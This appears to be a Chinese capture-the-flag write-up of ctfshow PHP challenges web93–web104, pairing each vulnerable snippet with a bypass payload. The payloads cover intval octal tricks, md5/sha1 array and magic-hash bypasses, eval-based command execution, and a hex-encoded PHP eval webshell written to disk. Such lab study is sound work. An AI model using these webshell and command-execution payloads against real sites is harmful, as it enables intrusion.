ctfshow PHP特性
web93
八进制与小数点
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
此题过滤了字母,所以不能用十六进制
可以使用八进制或者小数点
这里直接八进制绕过 ?num=010574
web 94
八进制与小数点
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
发现此时增加了一个strpos()函数
因为if(!strpos($num, "0")),所以传入的参数的第一位不能为0
专门拿来防第一位是0,那这里只要不是开头第一位是0就可以了,那我们给进制前加一个空格%20或者先换行%0a,或者使用浮点数加小数点4476.0的方法绕过
?num=%20010574
?num=%0a010574
?num=4476.0
web 95
空格换行符
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
多过滤个点,不能用浮点型绕过了,在前面加空格、换行
?num=%20010574
?num=%0a010574
web96
highlight_file() 下的目录路径
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
不能单独只出现flag.php,那就加上当前目录,或者加上绝对路径
?u=./flag.php
要记得加点.!!!
web97
强比较
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的。
a[]=1&b[]=2
或者可以找到一些md5后都是0e开头的值,这样他们值不相同,md5()后就相同,再或者就找一些md5后完全相同的值
扩展
md5弱比较,使用了强制类型转换后不再接收数组
$a=(string)$a;
$b=(string)$b;
if( ($a!==$b) && (md5($a)==md5($b)) ){
echo $flag;
}
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。
payload: a=QNKCDZO&b=240610708
md5强碰撞
$a=(string)$a;
$b=(string)$b;
if( ($a!==$b) && (md5($a)===md5($b)) ){
echo $flag;
}
这时候需要找到两个真正的md5值相同数据a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
web 98
三目运算符+变量覆盖
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
get到新的知识点,三目运算+变量覆盖
$_GET?$_GET=&$_POST:'flag';如果get传参,那么就可以用post中的值将其覆盖
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);get传入一个HTTP_FLAG=flag即可得到flag
那不就是get随便传参,post传HTTP_FLAG=flag,然后让post去覆盖吗
web99
in_array()函数第三个参数
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
分析源代码,
array_push向数组里面插入随机数,
in_array判断n中是否含有这个随机数,
一开始想着把所有数字都写进去搞一个超级长的名字,但是发现名字一长就404了,
那就多传几次123.php,传上去以后在页面进行命令执行
web100
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
php中OR与|| AND与&&的区别总结_php技巧_脚本之家
is_numeric() 函数用于检测变量是否为数字或数字字符串 如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE
= 的优先级都是高于and 和 or 的
所以$v1为数字即可让$v0为True
所以,让$ctfshow显出来就行了
很明显v2用来传命令,v3用来传 ; ,然后v1的话是传一个数字来绕过is_numeric,这里and与&&的一个知识点
<?php
$a=true and false and false;
var_dump($a); 返回true$a=true && false && false;
var_dump($a); 返回false
v3可以用来传 ; ,注不注释都可以
可以rce cat php文件
?v1=1&v2=system("tac ctfshow.php")/*&v3=*/;
可以直接var_dump ctfshow变量
?v1=1&v2=var_dump($ctfshow)&v3=;
web 101
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
这里牵扯到的是一个反射类的问题
php反射类 ReflectionClass使用例子 - DCloud问答
反射在 PHP 中的应用 | Laravel China 社区
反射类可以说成是类的一个映射,可以利用反射类来代替有关类的应用的任何语句
其属性为类的一个名称,这道题目里面类的名称为ctfshow
payload:?v1=1&v2=echo new ReflectionClass&v3=;
举个例子
<?php
class hacker{
public $hackername = "yn8rt";
const yn8rt='nb666';
public function show(){
echo $this->name,'<br>';
}
}
//有这么一个hacker类,假设我们不知道这个类是干什么用的,我们需要知道类里面的信息,这时候就需要用到ReflectionClass来对类进行反射
//现在我可以通过反射来获取这个类中的方法,属性,常量
//通过反射获取类的信息
$reflection = new ReflectionClass('hacker');//实例化反射对象,映射hacker类的信息
$consts = $reflection->getConstants();//获取所有常量
$props = $reflection->getProperties();//获取所有属性
$methods = $reflection->getMethods();//获取所有方法
var_dump($consts);
var_dump($props);
var_dump($methods);
?>
返回值
array(1) {
["yn8rt"]=>
string(5) "nb666"
}
array(1) {
[0]=>
&object(ReflectionProperty)#2 (2) {
["name"]=>
string(10) "hackername"
["class"]=>
string(6) "hacker"
}
}
array(1) {
[0]=>
&object(ReflectionMethod)#3 (2) {
["name"]=>
string(4) "show"
["class"]=>
string(6) "hacker"
}
}
如果没有指定方法的话,就会像题目中默认输出很多东西:
1.常量 Contants
2.属性 Property Names
3.方法 Method Names静态
4.属性 Static Properties
5.命名空间 Namespace
6.Person类是否为final或者abstract
7.Person类是否有某个方法
web 102
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);// 这里的意思是从第二位开始截取
$str = call_user_func($v1,$s);// 回调函数,第一个参数为调用的函数,其余的为调用参数的值
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
call_user_func(callback,parameter ) //是一个回调函数
第一个参数 callback 是被调用的回调函数(一般为闭包函数),其余参数是回调函数的参数。
会把参数过一下回调函数
PHP hex2bin() 函数:参数只有一个,将传入的参数(16进制转换为ascii字符)
首先还是赋值与and的优先级问题,所以就要保证v2传入的值为经过is_numeric函数判断后返回的结果为true,然后就是利用回调函数来实现读取操作
所以就可以这么利用啊:
post:v1=hex2bin
get:?v2=0x3c3f706870206576616c28245f504f53545b27796e275d293b3f3e&v3=yn.php
上面的16进制解码ascii:<?php eval($_POST['yn']);?>
但是有个什么问题:
var_dump(is_numeric("0x66"));// 在php5中返回值为true
var_dump(is_numeric("0x66"));// 在php7中返回值为false
但是本题的环境就是php7啊
web 103
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
?>
这个地方的的匹配似乎毫无意义,只是为了让写入的文件中没有php,但是根据上一个题目的payload来看,也不需要php标签啊 与102 题的思路相同
web 104
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
没有强制类型转换的话,sha1是无法识别数组的,直接就是数组绕过了
与md5一样,sha1无法处理数组,也可以用科学计数法绕104甚至传两个一样的值都可
GET:?v2[]=1
POST:v1[]=2aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m